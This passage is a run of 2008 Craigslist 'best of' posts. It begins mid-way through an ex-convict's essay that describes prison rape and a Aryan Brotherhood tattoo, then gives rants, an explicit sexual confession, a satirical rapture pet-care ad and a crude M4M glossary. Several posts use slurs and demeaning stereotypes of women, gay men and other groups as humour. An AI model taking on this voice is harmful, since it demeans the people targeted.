this paleface. One day I turn around, and there they stood, the welcoming committee. It didnt take but one look to realize they werent there to bring me a fruit basket. I figured this was gonna be a test of me, find out if they could push me around, so I got a good shot in on the first one and broke his nose. Since it was four on one, I was looking at an ass-kickin for sure, so I didnt follow up on the others too much, to try and keep em from getting too mad. Well man, was I ever wrong about that. They got me face down, one on each arm and leg, then they got my pants down. About this time, right up till the last minute, I was thinking, this can't be happening to me. The dude whose nose I broke went first. I was heaving and twisting my body trying to get loose, but the others held me down good. He started to poke around and then forced himself in. I never in my life had anything hurt like that, man. Everything got all cloudy and I heard him call me his white bitch. Bits of snot and blood from his nose dripped down on the cement next to my head. Its the only time in my life I ever tried to talk to God. First I asked him why. Then I asked him to help me. And he never said a word. You know, the only thing worse than being shined on by God is having it happen at a time like that, man. But its just like the preachers say: you cant fool God. He knows why youre finally talking to him because you need help. So God never answered me, and I was on my own. And the only thing I wanted to do was to die. When he was done, he got up and kicked me in the head. That in a way was kind of a blessing, cause I don't remember anything that happened after that for awhile, and I'm pretty sure the rest of those dudes took their turns. A few weeks later, they came around again. I knew what was coming this time, and I didnt hold anything back. I popped three of em pretty good before they got me down and did me again. They got the better of me, no question, but I left them worse for wear. That was the first time I ever saw a black eye on a black dude. By this time I was hoping theyd think I just aint worth the trouble. There were plenty of others there that were easier pickins than me. But this wasn't about finding someone for sex, it was about breaking me down. So I got another visit from my new buddies. This time, they kinda formed a circle around me before moving in, and I could see in their eyes that some of them weren't really looking forward to this at all. Well man, welcome to the fuckin club. This time I ended up in the prison hospital and spent a couple weeks there. One day, I was laying there thinking about how much I hurt and wondering what a life sentence was gonna be like with this happening all the time, when one of the inmates working in the hospital starts talking to me and tells me about the Aryan Brotherhood and how I don't have to put up with the nee-grahs no more as long as I join up with em. And thats how I ended up with the tattoo of the swastika and WHITE POWER on my arm, right up there by the bicep. Well, time goes by and Im getting settled into the routine of prison life, and no one is messing with my behind no more now that Im in this white guy gang. Then from outta the blue I find out that that someone from the Pine Hills Youth Correctional Facility in Montana got religious and wrote a letter confessing to killing that chick. He was just a kid, only seventeen years old. Can you believe that? Well, no one at San Quentin did. No one takes you seriously when you tell em youre innocent, cause everybody in prison says theyre innocent. I didnt have the letter or anything, just what I heard, so no one gave a shiet. So I wrote to Merle, and he sent some dude from the Innocence Project to visit me. Next thing I know the prison doctor is scraping some skin from the inside of my mouth, and one day, just like that, they're walking me out the door and on my way. Course it didnt take more than five minutes to be up to my ass in ambulance chasers all wanting to help me sue the government for my troubles. Most of em didnt smell much different than the public defender, and I began to wonder if I was ever gonna get a lawyer who wasnt a fall-down drunk. The dudes at the Innocence Project gave me the name of some chick up in San Francisco to call. That was kinda far away for me, but she turned out to be a pretty good lawyer and didnt smell of booze either. She spent a lot of time yelling at the guys from the city, and let me tell you man, after listening to that I sure was glad she was working for me and not them. In the end, I got some money, not a lot, cause I wasn't in all that long and of course I didnt tell a soul about the other stuff, but it was enough to get my trailer and a good truck, and they also promised to pay for retraining which is why Im taking this class. Once I got all signed up for school and the dust settled down, I figured I better get rid of that tattoo. So I called up Merle and told him to come on over and give me a hand with it. We heated up a weeding tool in the barbeque, and I bit down on a little stick of wood while Merle burnt off the tattoo with the weeder. You know, I never stopped biting that stick, but when the flesh started to burn, I tried to push everything outta me like emptying a squeeze bottle of Heinz ketchup. All the shame, all the rage I was carrying around inside me since I got out. I just forced it all outta me and I guess I yelled a good deal, cause Merle was looking at me kinda funny when it was done. Merle's my best friend, and I figured maybe it was OK if I told him about it all, so I did. And when I was done, there was a long silence, then he kinda looked at me and asked in a quiet voice if I was gonna make him burn my bunghole too, and finish the job. That Merle, he's as dumb as a box of rocks, but he always finds a way to make me laugh. I never really took to queers in the first place but it aint cause of what happened to me when I was inside prison. I don't blame the blacks or the queers for it. That stuff really wasn't about color or sex; it was about power plays by cons who had to ditch their humanity in order to survive. Still, as everybody knows man, no matter how many times you squeeze the bottle, you can't get every last bit of ketchup out, and for me, I still had some bits of my experience I couldnt get outta my head. Sometimes, I'd be watching TV and just start to feel terribly sad and weak. Mussel Shoals was back with me by then, and he seemed to know something was wrong when I felt like that. He didn't know what, but hed always come on over anyway, and lick my hand and rest his head on my leg. I tell you man, I really love that dog. <img src="http://i282.photobucket.com/albums/kk252/mrhastyrib/ms-1.jpg" align="left"> It was real tough getting back in the saddle with the ladies after what happened to me in prison. Id always heard that if you so much as touched another guys privates you were queer for life, and although I was hoping that werent true, it was hard to think about sex without remembering all the bad stuff. Merle brought by some chick he was going out with who had a lady friend, and though she was nice and all I was kinda scared I wouldnt be able to deliver the goods and have to start explaining everything, so I had to pass. About a month after I bought my trailer, I met a nice chick at the park while out walking Mussel Shoals. She's about my age and pretty agreeable. Bettys her name. She has a dog, too, a female Dalmatian named Dotty. Mussel Shoals was OK with that, cause he aint prejudiced, and they got along just great. After we'd been going out for a few weeks it was my birthday, and she and Merle came over to my trailer and surprised me with a little cake. After I blew out the candles they said we could do anything I want, their treat. So we talked about it awhile and decided to spend the day out at Great America. Well I dont know if you been to Great America lately but they have this new feature which is a water park, and if you asked me that part alone is worth the price of admission. After we got in we headed on over there and changed our clothes in one of the little changing rooms they have nearby. While I was waiting for Betty to change (course chicks always take forever, took me and Merle about a minute and Betty about four hours) I struck up this conversation with this Filipino dude who was waiting behind me. He had a shirt on said hes a police officer, so of course I didnt mention anything about being in prison. Then one of the changing rooms opened up, not the one Betty was in (of course since she takes a million years) so I told the dude to go ahead of me since I had to wait for Betty anyway. He moved on into the room and then his son, who was maybe 3 or 4 years old, started following him, but he told the son to wait outside. So the kid kinda backstepped a ways without turning around and then reached up and took my hand, and I closed my hand around his and we stood there awhile like uncle and son. It was a great feeling man. I never got to do that with my dad, cause he passed out on some tracks and got all mashed up by a train when I was only six months old, and none of the dudes that Mom brought around after that ever stayed more than a couple days. I didnt really know what I was supposed to do, so I just stood there and tried not to squeeze his hand too hard. Pretty soon though I heard this laughing behind me, and its the kids mom. And I looked down at him, and hes looking over at her, and his forehead gets all crinkly, and he looks at his hand in mine, and you can see him sorta follow my arm all the way up to my shoulder and to my head. When he figured out I wasnt his mom, his eyes got real big and he yanked his hand away and scampered over to where she was sitting. Well by this time his mom is pretty much doubled over with laughter and she and I are talking, and of course Betty comes out right about then and sees me talking to this hot Filipino chick and gives me the stink eye. But it didnt take too long before Im the one who was upset cause Betty is wearing this string bikini top and let me tell you man, if I had charged a quarter a peek for a look at her tatas I would have made a fortune that day. Betty looks a lot like Salma Hayak (specially when she gets mad, which is all the time, Geez!) and she has a really nice rack. But you see man this is where chicks are really sneaky. Betty knew we was going to a water park and there'd be lots of chicks to look at and she didnt want me looking at em. So she wore her most revealing outfit cause she knew Id have to keep an eye on her. At a place like Great America there are tons of buff dudes walking around trying to grab your chick when youre distracted. So you got to keep your eye out every minute and that cuts into your time cruising the hotties. And speaking of that I think next time Im gonna tell Betty how much I enjoy checking out the babes while shes goofing around in the dressing room. That oughta speed her up. We had a great time and ate crummy food and I won a Spongebob doll for Betty at the pitching booth. Merle almost got in a fight with some dudes who stole a big doll from one of the other carnival booths but the rent-a-cops broke that one up before it started. Later he got sick after going on the Invertigo and we got to watch him puke in a trash can. That part wasnt so good, but after it got dark the fireworks started going off and Betty snuggled up to me real close and I forgot all about Merle, and we kinda lost him. It worked out OK though in the end. Merle called me later and told me that when he got out to the parking lot he ran into the same dudes he almost got in a fight with, and they ended up going out drinking and theyre his dawgs now. I never heard Merle call anyone that before, but he dont generally hang out with black dudes either. After the fireworks was done, Betty came back with me to my trailer, and we started watching American Idol. Well, one thing led to another and the next thing you know we was in bed getting ready to do the horizontal mambo. She was kinda nervous so I cracked a few jokes to relax her till she told me to shut up. I was nervous too, man. I was worried about maybe being queer, but besides even that, this was gonna be the first time for me since before I went to prison, and I was afraid I might be a little rusty. It was a night I think Im always gonna remember. First-time sex with a chick who's your girlfriend is always a big deal, specially if youre a guy. You get to see what she looks like naked, specially the boobs, and see what kind of funny noises she makes when she gets all excited. In spite of all my worrying, everything turned out OK. I guess sex is like being on a bicycle, you never forget how to ride. Still, it took Betty a long time to come that night, but thats probly cause she was busy with her own first-time sex thoughts. Chicks are funny about that. It's like the first time you take em out to dinner. They don't care about the dinner so much as not looking bad eating it, which usually means not eating much of it at all. Same thing with sex. The first time, they don't care so much about coming as much as they don't want to embarrass themselves. Next time though you better deliver, that is if you want there to be a third time. So we're laying there afterwards, her head on my shoulder, and just talking real soft about nothing in particular, when all of a sudden there's this big commotion and damn if Mussel Shoals wasn't trying to have sexual relations with Dotty. She didnt seem quite as interested as he was, but he stayed right on it, the two of em crashing into the walls and the bed and just going to town. I'll tell you, no one is gonna mistake ol Mussel Shoals for a 60 minute man, but seeing it was his first time and all, maybe he'll improve with practice. A bit later I was the only one awake, and I was laying there listening to the three of em making their sleep noises, and wishing I could get my arm loose somehow so I could get a glass of water without waking up Betty. But I just laid there listening to the sounds, and smelling the odors of the people sex and dog sex, and thinking about my life. I wanted to be an astronaut when I was a kid. I wanted to be a big success and fall in love with the prom queen and live in a four bedroom house with two kids and a Chevy just like white people do in the movies. It didnt take long to figure out that wasn't gonna happen, and things started to look real bad there for awhile like I just told you about, and much as I try to, Im probly never gonna forget how I got into prison and what happened to me there. But all and all, life really aint been so bad to me, man. Betty said she thinks I might make a good lawyer someday. I told her Ill be lucky to pass this class much less make it all the way to law school. But she thinks I can become a lawyer, not one like the city gives you that drinks his lunch, but someone who really helps people, maybe even get some other dudes outta prison that dont belong there either. She said everybody has a destiny in life, and mine is to help people to redeem their lives. How can you not love a chick who talks like that, specially about you? Come to think of it, the best thing that happened to me last summer was meeting Betty. I got me a good woman in that chick. I got someone to calm me down after I get cut off on the freeway by some dick, and to help me express my true feelings without cussin. Shes someone wholl open the aspirin bottle for me when I have a hangover, fake an orgasm when I really need her to, and maybe someday, God willing, remind me how many kids we have and what their names are. Guys don't give their chicks enough credit for this sorta stuff, and frankly you dudes out there reading this, if you are not making use of this kinda help then you are not getting full value outta your chick. Im gonna do my part too. Im gonna protect her, always. Im gonna hold her and pet her head and tell her everythings OK when shes feeling sad. Im gonna nod at her sympathetically while thinking, "Who fuckin cares?" while she bitches on and on about some other chick at work who looked at her the wrong way. Im gonna help her watch football with me, let her change my haircut and clothes all the time, and worry about all the big shiet so she has plenty of time for chick stuff like shopping and crying. It was a great summer, man. And Im looking forward to the rest of my life. </tt> ******************************************************** I got a D for this essay ("inappropriate content)", and a C-minus for the course. I was pretty discouraged, but Betty wouldn't let me quit. She said that this might not be my last chance to change my life, but it sure was going to be my best chance, and I should go all out. At the department graduation ceremonies in May, the entire faculty rose and applauded me as I walked up to get my diploma. And then before you know it, everyone else got up and joined in too, and Betty started bawling her eyes out. I was really embarrassed, but fortunately Merle was there, and he shouted "It's about fucking time!" to me, which cracked up everyone and got them back into their seats. In the fall, I'll start law school at Santa Clara University, on an Emery scholarship. Merle is a Precinct Captain for the Obama Campaign. Mussel Shoals went on to live a happy life with Dotty. When his hearing started to go, we noticed that she was helping him to understand when we gave him commands. One by one his parts started to wear out, and on December 24th of last year, my dearest friend licked my hand one last time and then slept away. I buried him on a short hill, next to a trail where I used to hike with him and Dotty. The view is beautiful, and when we visit, Dotty will lay next to him for as long as I am willing to stay. About three years ago my grades started to get very good and it looked like school would stick. I came home one night and told Betty that I thought things were getting better every year, year after year. She started crying and wouldn't tell me why. It took me a long time to figure it out, and when I did I felt pretty sheepish. I asked her, she answered yes, and nine months to the day of our wedding night, little Tina was born. She's as cute as a bug, and someday when she is old enough to learn about her old man's story, I will take this essay out of storage for her to read. <ul> <li> it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-06-26T19:03:16-07:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/sfo/734069587.html RAVE: My Life Since Getting Out of Prison text To the Minotaur that lives above me. http://www.craigslist.org/about/best/min/733317143.html First off, I must say that I admire your courage. It must be hard living in the world today as a lady-beast. Society judges, oh lord do they ever. With that said, lets get down to business. Over the past year, we've had a funny sort of relationship, you and I. When I first moved into the place, it was rather peaceful. It was an exciting time in my life, as it was the first time I would be living by myself. Then came the day that I first heard it. What did I hear you ask? It was sound of your hooves galloping across the hardwood floors of your living room. At the time I thought, No big deal, surely it cant always be like this. Oh was I wrong. It turned out that every time I was at home, you would be up there, stomping around, like the wild lady-beast that you are. After a few weeks, I determined through a process of elimination, that you are in fact, a Minotaur. It only makes sense. FACT. Minotaurs have hooves, and thats sure as hell what it sounds like is hitting the floor when you gallop around. FACT. A Minotaur posses great strength, the kind of strength that can be felt by a guy laying on his couch, trying to get into a good book. The kind of strength that shakes the dishes in his cupboards. The kind of strength that can wake a guy out of a dead sleep, EVERY FRICKIN MORNING. I didnt even need to set an alarm clock to wake up in the morning. Instead I wake up to THUMP THUMP THUMP. THUMP THUMP THUMP THUMP. THUMP THUMP THUMP. Im not a light sleeper by any means; I sleep right through the viscously loud police, fire truck, and ambulance sirens every night. I was lying there one morning, frustrated, counting the trips you took between your bedroom and your bathroom. 17. 17 god forsaken trips between the bedroom and the bathroom. Really? Are you kidding me? What could you possibly be doing? FACT. Minotaurs are half bull. Bulls are aggressive when taunted. Apparently, the time I went upstairs, politely introduced myself, and asked you rather nicely to please quit stomping around, was a taunt. Thats when you got aggressive. You called the landlord and told him that I was complaining about your noise. When he told me about this, he said his response to your complaint was, Quit making so much noise then. Brilliant. Go Mr. Landlord! I tried keeping him out of this, but you felt it important to drag him into it. After a few more weeks of you recklessly stomping around, I made another attempt at a civil confrontation. It failed. It failed because you stomped your way to the door, and you didnt open it when you saw who was standing there. I know this because I heard your hooves clippity-clop their way to the door. Way to avoid confrontation. To my surprise, the stomping ceased the next day, and I awoke to peace. Amazing, I thought, It must be a midsummer miracle!! A few days passed, and I ran into my landlord in the entry way. He mentioned that he received another angry phone call from you. Said that you felt threatened by my confrontations, said I scared you. Strange, since not once did I ever raise my voice or try to be anything but civil. He then mentioned that he told you to buy some slippers to wear around your apartment. Genius! It freakin worked!! Hell yea, Mr Landlord! High five! Fast forward 11 months. The stomping has returned. No doubt in my mind the hooves have worn through the delicate fabrics of the slippers and are now, once again, banging against your hardwood floors. Please, for the love of sweet baby jesus, run down to the local Target and purchase yourself another pair of hoof mufflers. I know you can run with those strong legs of yours, probably real fast like! Target downtown is all of 10 blocks away. Go Minotaur, go! Overcome the odds, society is watching! (and judging) <img src="733317143.jpg"> <ul> <li> Location: downtown <li> it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-06-26T10:36:11-05:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/min/733317143.html To the Minotaur that lives above me. text I was the girl your wife was going down on when you came home - w4m http://www.craigslist.org/about/best/sfo/726200477.html I don't know where else to post this. It seems like the most logical place. So, here we go: Me: intelligent, fun and stunning bisexual that has always kinda been around since I am the younger sister of the best friend. her: breathtakingly beautiful bisexual... your wife.... YOU: tall, funny, big-brother type who walked in on your wife going down on me when you came home from a long night. I would like to first off apologize for my reaction to you walking in. If I had known for sure that it was just you, I wouldn't have been so quick to cover up all my goodies. I am smart enough to realize that if your wife has been tasting it, it is only fair that you get to see it. Second, I would like to explain why there was no hand of welcome extended out to you: 1. I was supposed to have left to pick my brother up about 20 minutes before you walked in.(What can I say? I was sidetracked...) 2. you had a friend waiting for you in the livingroom. 3. you looked like you wanted to punch me in the face. Under normal circumstances I would have simply asked you if you wanted to join in.... to be honest, reason 2 wouldn't have stopped me, reason 1 was just a minor setback, and well.... reason 3 was the real deal-breaker on that one. Reason 3 explains why I quickly put on my pants, grabbed my purse, and left the house without saying goodbye to you. So, ok, things have cooled down a bit. Me and you are back to our normal retardedly witty banter, and since then me and your wife haven't done anything.... ok well.... we have had a few make-out sessions, and I may or may not have had my hand down her pants the other night.... but there has been no sex. (not for my lack of teasing-slash-trying... but I mean... you have seen your wife, and you know how awesome she is~can you really blame me?) I know she has been with other girls in the past, and it never bothered you before. But maybe it was because this time it was at home, and maybe it was because this time it was with me, and there are real feelings there, and it isn't just about the sex.... But I promise I am not trying to steal her away. I don't even want to make you fully share~our work schedules are as such that I can be with her while you are at work, and you don't have to miss any time with her at all!!! So please, please, please, PLEASE give her permission to be with me again. (....and again and again and again...) because, well... it is SO hard to find a girl[or guy]with the same dating goals and ideals as me, and me and her have this connection that is just like.... well I can't even explain it. And sweetheart, I *PROMISE* that the next time you walk in on us, I won't cover anything up. I will give you a great display of myself&my goodies,then look you straight in the eye, and ask you why your clothes are still on. Yeah, it may be a little awkward since I have always had little sister status, but I think once you get in the mix of things you will forget all about my relatives. <ul> <li> it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-06-20T01:52:13-07:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/sfo/726200477.html I was the girl your wife was going down on when you came home - w4m text Rant of a copy girl http://www.craigslist.org/about/best/sfo/725756615.html Rant of a copy girl I make copies for a living. Black and white, color, oversize. I also laminate, bind, staple, 3-hole punch, fold, and any other various "copy girl" duties. I understand that alot of people can not identify with the job of a copy girl, because its a combination of waitress/cashier. I wait on you and then you pay. Need copies? Here are some rules to follow and things to avoid. Please bear with me as I have had a particularly annoying day so I am a bit more pissed off than I am on a regular day. I make copies for a living, I never said I could spell or use correct grammar. Just giving you a warning. 1. If you come to me 30 minutes before we close and need 10,000 fliers printed, its not going to happen. Don't tell me that it can. A machine can print 60 copies a minute. There are 60 minutes in an hour. 60x60=3,600 copies an hour. So as you can see, it will take over 2 hours to do that. (I have never been good at math, hence my being a copy girl, so my figures could be off--but you get the point.) 2. When I make a mistake, I pay for it. If you told me to make the copies 2 sided and I did not, I will apologize and correct the problem. You will not be charged for my mistake. However, if you are a fucking dumb ass and can not read the directions on the machine where it says "place copy in upper left hand corner--press start" and you put it in the upper right hand corner and press start...Well, you will pay for those copies and I reserve the right to call you a fucktard under my breath. Its only fair. 3. Ok, so you need 5 quick copies. Easy, in and out. So why on earth do you and 3 of your friends all need to pile out of the car and come in? You all get out, come in, watch me make the copies, and then 30 seconds later you all leave the store. How many douche nozzles does it take to make a copy? 4. If you don't understand how to use the self serve machines--ASK. That's what I am here for, to help. Why waste 5 minutes of your time staring at the machine like its some foreign object? To go along with item number 2, if you stand there and put your 50 pages in the auto feed face down (when it reads in big bold letters FACE UP) I will again call you a name and make you pay for them. 5. I get it, you need your copies and you need them quick. Like I said earlier, the machine only goes so fast. When I tell you the job will take about an hour, that is your cue to go get some coffee or do another errand and come back. When you proceed to stand at the counter and stare at me the whole time, you are not helping. Your not mind tricking the machine into going any faster. The only thing you are doing is pissing me off. I will probably gyp you on copies if you do this. 6. I've done this job for a long time. I know what I am doing. If I tell you that when you laminate that concert ticket it will turn black, I mean it. So, when you proceed to tell me you have done it before and it will be fine, you just look like a jack ass when I do it and it does in fact turn black. Still, you proceed to get mad at me. I know you have a small penis, but don't take your inadequacies out on the copy girl. 7. No your nasty ass snot nosed kids can not come behind the counter. Neither can you. Its not cute when little Jimmy is playing hide and seek and runs behind the counter. It will be cute when he chops off his cute little arm with the industrial cutter we have back here though. And you? Would you go to MacDonald's and order something and then go follow them behind the counter as they microwave your burger? NO. Don't do it to me. Again, I know what the fuck I am doing. Let me do it so I can get you the hell out of here. 8. Oh, you need a receipt for that 5 cent copy? No you don't. I will punch you in the face if you ask. 9. The prices for basic items are located on the door, on the counter, on the big fucking pricing board on the wall, and in the brochers we have. So when you ask me to make you 1,000 color copies, I am going to do it. If you don't ask me the price, I assume you know. Do you go to the McDonald's (I am hearting the McDonald's references today) drive thru and order a number 6 and then when they tell you the total say "Oh my, I didn't know it was going to be that much'? NO. You don't. You would be a piece of fuck if you did that. So when you look at me and say "Oh my, I didn't know it was going to be that much" I will just stare at you waiting for my money. McDonald's might be able to sell that burger, fries, or coke to another person. I probably wouldn't be able to sell your copies of 'The Everything Asparagus Cook Book' to the freakiest of freaks--And yes, someone really does come in here and make copies of that cook book. Its like 300 pages long and even includes asparagus ice cream....But anyhow, I am getting off of my rant. 10. I can not copy that book for you. I mean, physically I can, but legally--well, its illegal. Do you know what copyright is? It means, its not yours to copy without permission. Also there is a list of things that are illegal to color copy, such as money and drivers license. I realize that maybe you don't know that, but I just fucking told you. So now you know. Asking me why not just makes me want to kick your ass. 11. This is not an auto dealership. You can not try and bargain the price down. Why someone would do that is beyond what I could think up. We have a price list. We go down in price the more you get. What don't you understand? 12. When you hand me your shitty papers to be copied, don't say "don't read that information, its private." Well sir, I really did want to read your letter to your girlfriend about your infatuation with fucking sheep because it fascinates me to no end--But since you asked so nicely, I will try ever so hard to tear myself away from reading about whatever piece of shit it is that you are copying. I don't give a fuck if you are copying pictures of a dildo hanging out of your ass. I could care less. I just want to take your money. Ok, I feel much better. Thanks for listening CL....One more tip. If you are one of the people who doesn't act like a socially retarded fucker, I will remember that. I will give you a cheaper price, or give you 10 extra copies of your flier for your lost kitty kat. Meow. <ul> <li> it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-06-19T15:10:43-07:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/sfo/725756615.html Rant of a copy girl text Your Pets Will Not Be Flagged For Removal By Jesus During the Rapture http://www.craigslist.org/about/best/ksc/725674463.html FLAGGERS: Over half the United States population has legitimate concerns about what will happen to their pets after the rapture occurs. Please respect their faith and allow this service to remain posted, just as the waste removal and grooming posts remain posted. Again, over half of the US population feels that this is a concern to them. If there is a specific problem with the ad, please email me. Thank you. <center> ~~~~~~~~~~~~~~~~~~~~~~~~~~~ "No one knows when that day or hour will come. Even the angels in heaven and the Son don't know. Only the Father knows." (Matthew 24:36) "For this we say to you by the word of the Lord, that we who are alive and remain until the coming of the Lord will by no means precede those who are asleep. For the Lord Himself will descend from heaven with a shout, with the voice of an archangel, and with the trumpet of God. And the dead in Christ will rise first. Then we who are alive and remain shall be caught up together with them in the clouds to meet the Lord in the air. And thus we shall always be with the Lord." (1 Thessalonians 4:1517) </center> Have you ever thought about what will happen to your pets after Jesus comes back to claim the souls of the saved during the Rapture and deliver them to heaven to enjoy ever lasting life? The bible clearly teaches that only those that have accepted Jesus as their savior will enter heaven (John 14:6, Romans 3:23), and we all know that pets do not have the cognitive ability to do this, so what will happen to your beloved pets? Surely without you there, they would be stuck inside your empty house, starving to death with no one to feed them, let them out to potty, or clean their litter box. This is probably not what you envision for your pets after you are gone. This is where I come in. I am here to offer you pet care service for after the rapture. As an atheist, I will surely still be here on this earth post rapture and would love to look after your pets for a small fee and make sure they are still well taken care of after you and your family have been raptured. You will be able to look down on them from heaven and see them being well cared for by me and living happy, healthy lives. Do not let my atheism scare you! I am a moral and loving pet owner and would never do harm to any animal. For a small deposit of only $50, you can be assured that your pets will be well cared for from the time that you are raptured until the end of their natural life. They will get adequate amounts of food, water, and shelter as well as plenty of exercise and socialization as I would imagine there will be a lot of pets that will be abandoned by Jesus the pet hater that will need to be cared for. If interested, please email me for my PayPal address (you can also send me a check if you prefer) so you can assure that your pets will be taken care of after Jesus comes to take your soul to heaven. $50 is only a small price to pay to know that while you are enjoying everlasting bliss, your pets will be cared for until their end days. Thanks and have a great day! Please do not flag this ad. It is very serious. <center> <img src="http://www.cyberpog.com/images/rainbowbridge.jpg"> <ul> <li> Location: Kansas City <li> it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-06-19T15:59:20-05:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/ksc/725674463.html Your Pets Will Not Be Flagged For Removal By Jesus During the Rapture text The 2008 Craigslist M4M Dictionary http://www.craigslist.org/about/best/sfo/725415358.html *Swimmers Build: Term used to describe the physique of someone who has probably never swam a lap or played organized sports in his life. Generally means "Im not fat, but Im not ripped and muscular, and so I must have a swimmers build". *Beefy (aka husky, cub, bear): Fat ass. The prevalence of these people are the reason you can never find size 30 slacks in a department store. *Jock: Someone who tries very hard to be manly but probably is deathly afraid of sports and anything physical outside of the Castro steamroom and the Berkeley Steamworks. Most men who actually do play sports would refer to themselves as "athletic". *Str8 (aka Str8 Acting): Man who lives in a parallel universe where jonesin' for cock is not considered gay. Deludes himself with "Pump my ass and work my dick, boy. Its cool because Ive got a GF". These men are a bane to those who are honest about their sexuality. *Girlfriend (aka GF, wife): A fictitious creature alleged to be had by many men in M4M. GFs are most commonly known to be "asleep", "shopping" or "out of town". Discussion of the GF is intended to bolster intrigue, as in "Cool, this dude usually fucks chicks but now he wants me" among gay men with low self-esteem. *8X5 cut: A circumcised penis that is 6 inches long and about 4 inches in circumference. *PNP (aka Party and Play): Term used to describe the combination of a drug binge (usually crystal meth or T) and sex. Emphasis is usually on the "party", as this is usually used as a low-grade form of prostitution and participants usually will have a hard time performing sexually. Synonymous with transmission of sexual diseases. *Vers/Top: Person who wishes to convey the illusion that you will actually get yours without having to jack off on your own. May suck your dick poorly for about 30 seconds before becoming a greedy sex pig. *Married: Deluded man who is intent on ruining not only his own life, but the life of a spouse and possible children through his patent dishonesty. So hot! *BB (aka Bareback, Raw, Natural): "I have diseases that will probably kill me and you, but I don't care because I'm on a death trip and want to live for the moment until I become poz and have to take meds". *Poz (aka HIV+): Man who deserves a medal for being honest about his potential to transmit a dangerous virus and is generally looking to have sex with other poz guys. <ul> <li> it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-06-19T10:35:43-07:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/sfo/725415358.html The 2008 Craigslist M4M Dictionary text josh from the frat house on 15th - w4m http://www.craigslist.org/about/best/col/725246623.html I'm pregnant. <ul> <li> Location: campus <li> it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-06-19T11:24:09-04:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/col/725246623.html josh from the frat house on 15th - w4m text To all those who ride transit... http://www.craigslist.org/about/best/van/723232278.html I just have ONE simple request. I don't care about your annoying spawn that's kicking the back of my seat, or screaming so loud only dogs can hear them. I don't care about the little old Asian lady who literally moshed her way to the front of the crowd like she was at a Ministry concert in order to get a seat on the skytrain, almost knocking people over like a set of Dominos. I don't care that your over-sized TnA bag has now bumped me in the ass/legs/arm/head so many times I'll be bruised and look like a leopard. I don't care that you wore so much cheap knock-off Britney Spears perfume it's permanently damaged my sinuses. I don't care that everytime you turn the page of your 24 or Metro that you elbow me in the tit. I don't care that you play your ipod so loudly I can hear it over my own. I was quite amused when I saw you strut onto the skytrain, dressed like you were on your way to a Slayer concert only to hear Mariah Carey echoing from your headphones when you sat next to me. I don't care that when I'm attempting to step off the skytrain you basically anihillate me by charging ONTO the train before I can even get off of it. I don't care that you talk on your cellphone so loudly I'm now informed of your friend Trisha's yeast infection. No. I will not ask any of the above people to stop those albeit annoying habits that I seem to encounter every day to and from work. My only request - and you know who you are - Take a goddamn motherfucking SHOWER before you get on any form of public transit. Seriously! There I am, innocently sitting down in my seat at 7:30am and you park down next to me ... smelling like you pissed yourself 8 days ago and are wearing the SAME clothes you wore that you pissed yourself in. Honestly, do you not even NOTICE that you smell like a golden shower? Do you not even care that everyone around you is obviously starting to tuck their faces into their jackets inhaling their Britney Spears perfume just to drown out the smell of your rotting carcass? What's it going to take to put "Must not smell like busted ass chunks" on the rules of riding public transit? <ul> <li> it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-06-17T12:44:08-07:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/van/723232278.html To all those who ride transit... text Free Grass Clippings http://www.craigslist.org/about/best/nfk/718445793.html Free grass clippings. Good for mulch, compost...etc. You cut and rake. <ul> <li> Location: Deep Creek <li> it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-06-13T11:11:40-04:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/nfk/718445793.html Free Grass Clippings text Dear Parents of Employed Teenagers http://www.craigslist.org/about/best/van/718260657.html Dear Parents of Employed Teenagers, As you undoubtedly know by now, your son Johnny or your daughter, Jane, has a job. You know this all too well because you are the one stuck behind the wheel of the car at ungodly hours of the morning like 5 AM or 6 AM, dropping off said kid. I apologize, but operational needs being what they are, someone's gotta stock shelves, flip hash browns and make coffee for me to drink. Now as a parent, you believe you have all sorts of rights that you can enforce upon me, the manager. Let me clear this issue up right now: You don't. Here is my short list of things that bug me (and probably 99% of all managers everywhere): - Calling in sick for your kid. If at 14 one is old enough to work in this province, then one is old enough to call in sick. Unless your kid is in a coma, you are not doing your kid any favours. It actually is insulting to us, the management, and to the kid. Now I realize that you have heard all sorts of stories about how big of a prick I am to those calling in sick. Let me assure you those are gross exaggerations. I'm very understanding - unless you're calling in for your kid. Then not so much. - Getting mad when I call your house early in the morning to find out where Johnny/Jane is. Tell your kid to invest in an alarm clock, cell phone and act more responsible. I have a job to do too, and calling early in the morning isn't my favourite part of it. So a little understanding here okay? - When your kid forgets to book off the family holiday, don't get mad at me. I am not a psychic or God. If the family holiday is "last minute", then there is not a very good chance that it can be accommodated. If you see the look on your kid's face as he/she tells me that you sprung this last minute, you would never be so inconsiderate again in your life. - Don't threaten me by claiming that you know the owner of the company. If you want to threaten me, pull a knife, a gun or a heck, even a pen. I haven't actually met the owner of the company more than a couple times (and I've been employed there a lot longer than your kid). The chances of you knowing the owner are not that good anyhow. So that threat frightens me as much as a litter of newly born kittens. - Asking your kid to ask for better shifts - eg not early morning or late night shifts on the weekends - because you only have two days off and you want to sleep in. Sorry, I forget what weekends are like - I hear they are great though. I also hear that misery loves company. We try to have fair rotation. Sometimes that means some weekends your kid gets the short end of the stick. It can't be helped. - Lastly, don't come in and try to fight your child's battles. It's embarrassing for your kid and you. I know the fruit of your loins are completely great and awesome, but having a job is about being responsible. If I am standing my ground, it's not because I dislike your kid or you or life or eggplant - it's because if I don't, then I'll have 39 other people trying to run the show their own way. And that gets old 